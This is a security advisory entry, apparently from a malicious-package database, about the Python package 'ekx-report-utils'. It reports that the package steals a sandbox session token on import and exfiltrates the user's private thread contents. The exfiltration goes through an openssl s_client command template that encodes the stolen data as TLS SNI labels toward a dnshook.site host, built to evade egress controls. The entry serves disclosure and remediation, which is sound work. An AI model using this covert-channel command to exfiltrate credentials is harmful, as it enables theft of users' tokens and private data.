ekx-report-utils

Details

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_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78)
On import, the package runs a `_setup()` routine that reads a session credential from `/tmp/.sandbox_token` and issues an authenticated GET to `${SANDBOX_ROUTER_URL}/rpc/<uuid>/proxy/v2/me/threads` using an `x-sandbox-token` header. The response body is base64url-encoded, chunked into 50-character labels, and smuggled outbound as TLS SNI values by invoking `openssl s_client -connect <i>.<chunk>.<uuid>.dnshook.site:443 -brief` with stdout/stderr discarded. The exfiltrated material — a sandbox/agent session token the package did not provision and the private thread contents that token authorizes — is installer-owned data. The covert-channel construction (SNI labels rather than an HTTP POST, base64url chunking, silenced subprocess output) is designed to bypass HTTP egress controls and DNS content inspection. Behavior fires automatically on `from ekx_report_utils import...` with no user action required, and the package's stated 'report utilities' purpose does not correspond to the observed data flow.

## Source: kam193 (a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6)
During import, the package collects sensitive information and exfiltrates it using DNS queries.


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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-08-ekx-report-utils


Reasons (based on the campaign):


 - targetted-attack


 - exfiltration-generic


 - exfiltration-credentials

Compromised versions (4)

• 0.1.0
• 0.2.0
• 0.3.0
• 0.4.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.